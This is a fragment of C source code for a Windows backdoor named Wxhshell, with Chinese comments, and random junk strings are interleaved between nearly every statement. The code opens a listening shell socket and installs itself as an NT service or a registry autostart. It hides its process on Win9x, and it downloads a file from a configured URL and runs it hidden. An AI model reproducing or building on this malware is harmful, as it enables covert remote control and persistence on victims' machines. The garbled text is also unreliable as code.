if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $[g8j`or! <: I]0|[ CloseHandle(hProcess); EV|L~^Q Ufv0Xj hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); (qg~l@rf if(hProcess==NULL) return 0; ( Y)a`[B n_1,-(t HMODULE hMod; zJT,Hv . char procName[255]; Qm2(Z8Gh unsigned long cbNeeded; <hzuPi@ A]AM|2 D if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^5~)m6=2 9Lqo^+0)\ CloseHandle(hProcess); T(iL#2^ uoe>T: if(strstr(procName,"services")) return 1; // 以服务启动 T[]kun m_,j)A% return 0; // 注册表启动 9<6Hs3|.! } ^=Egf?|[ :IX_}| // 主模块 cvO;xR int StartWxhshell(LPSTR lpCmdLine) <G#z;]N { V|G[j\]E< SOCKET wsl; 6uubkt BOOL val=TRUE; gfmaO] int port=0; b@yFqgJ_ struct sockaddr_in door; 4!0nM|~ q.69<Rs if(wscfg.ws_autoins) Install(); ?&se]\ 2~q(?wY port=atoi(lpCmdLine); R4Si{J*O i*ji if(port<=0) port=wscfg.ws_port; ?Qdp#K]WX ]WZi + WSADATA data; .}DL%E`n if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; dX;G[\ Q2K)Nl >_ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 31n|ScXv setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); eKek~U& door.sin_family = AF_INET; "i/3m'<2 door.sin_addr.s_addr = inet_addr("127.0.0.1"); s&~.";b
door.sin_port = htons(port); d&5GkD.P B)L;ja if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Dd$CN&Ca closesocket(wsl); Oky9GC.a return 1; 0fU^ } X]AbBzy } P/
x@N if(listen(wsl,2) == INVALID_SOCKET) { "Go)t+- closesocket(wsl); lp%i%*EQ* return 1; +Y|HO[ } *r]Mn~3 Wxhshell(wsl); Ax"I$6n> WSACleanup(); h2#S ? z]F4Z'(e. return 0; 32ae? d P
g1EE"N@ } NP5;&}uv*! >" z&KZKI // 以NT服务方式启动 >Gyg`L\ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 5N4[hQrVJ { w-(^w9_e DWORD status = 0; V;SXa|, DWORD specificError = 0xfffffff; x8wal[6
,1g*0W^ serviceStatus.dwServiceType = SERVICE_WIN32; +i.b&PF'H serviceStatus.dwCurrentState = SERVICE_START_PENDING; ?{M!syD< serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9dXtugp| serviceStatus.dwWin32ExitCode = 0; a?QDf5Cq serviceStatus.dwServiceSpecificExitCode = 0; Il9pL~u serviceStatus.dwCheckPoint = 0; FWzf8*^ serviceStatus.dwWaitHint = 0; C/je5 ~'2im[f J hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Nd.Tda!Kg if (hServiceStatusHandle==0) return; 1WMwTBHy+ !%_H1jk status = GetLastError();
ua!g}m~ if (status!=NO_ERROR) h2C1'+Q{9 { 0kB!EJ<OdG serviceStatus.dwCurrentState = SERVICE_STOPPED; ,-[dr|. serviceStatus.dwCheckPoint = 0; "3Z<V8xB serviceStatus.dwWaitHint = 0; 'L0{Ed+9 serviceStatus.dwWin32ExitCode = status; (" +/ : serviceStatus.dwServiceSpecificExitCode = specificError;
C6`<SW SetServiceStatus(hServiceStatusHandle, &serviceStatus); $k&}{c8P return; VT&R1)c } hf1f LYY|8)Nj2" serviceStatus.dwCurrentState = SERVICE_RUNNING; =w&<LJPJ serviceStatus.dwCheckPoint = 0; C4ut!I # serviceStatus.dwWaitHint = 0; y~N,=5>j if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); )!``P?3? } &]2z)&a C^x+'. ^N // 处理NT服务事件,比如:启动、停止 g)Byd\DS VOID WINAPI NTServiceHandler(DWORD fdwControl) +T@a/(Gl { fjAJys)Q switch(fdwControl) De*Z UN|< {
n|oAfJUk, case SERVICE_CONTROL_STOP: T8i9 serviceStatus.dwWin32ExitCode = 0; ZP&"[_ serviceStatus.dwCurrentState = SERVICE_STOPPED; "wPFQXU serviceStatus.dwCheckPoint = 0; "jUr[X2J serviceStatus.dwWaitHint = 0; K$..#]\TM { 2eBA&t
SetServiceStatus(hServiceStatusHandle, &serviceStatus); >cPB:kD' } -\`n{$OR return; 2S\~ case SERVICE_CONTROL_PAUSE: =e)[?{H serviceStatus.dwCurrentState = SERVICE_PAUSED; +jD{O @9 break; U&mJ_f#M case SERVICE_CONTROL_CONTINUE: %q@eCN serviceStatus.dwCurrentState = SERVICE_RUNNING; 2\z"6 break; Pe !eID8 case SERVICE_CONTROL_INTERROGATE: i7[CqObzc break; Q\~4J1 }; [k9aY$baT^ SetServiceStatus(hServiceStatusHandle, &serviceStatus); $z+iB;x } [z:bnS~yiD $3!j1 // 标准应用程序主函数 k]Y#-Q1p~ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `1NxS35u { :I5]|pt OT9\K_ // 获取操作系统版本 {q1&4U~'>O OsIsNt=GetOsVer(); S4]xxc GetModuleFileName(NULL,ExeFile,MAX_PATH); nr>g0_%m
]8q5k5~ // 从命令行安装 b-{\manH if(strpbrk(lpCmdLine,"iI")) Install(); L30x2\C
0O>8DX // 下载执行文件 Xz=MM0o if(wscfg.ws_downexe) { w49Wl>M if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8E /]k\ WinExec(wscfg.ws_filenam,SW_HIDE); SrN;S kS } Es kh=xA { ZpHT2-baVe if(!OsIsNt) { dy jzF`H // 如果时win9x,隐藏进程并且设置为注册表启动 W&]grG2/ HideProc(); Z3G>DF:$ StartWxhshell(lpCmdLine); PiZt?r?5w| } hgE!)UE else 1WPDMLuN if(StartFromService()) }`$:3mb&f // 以服务方式启动 aho;HM$hjP StartServiceCtrlDispatcher(DispatchTable); C9/?B: else )Xa`LG=| // 普通方式启动 /c`)Er6d StartWxhshell(lpCmdLine); j8@YoD5o DFs
J}`
$ return 0; uKqN }
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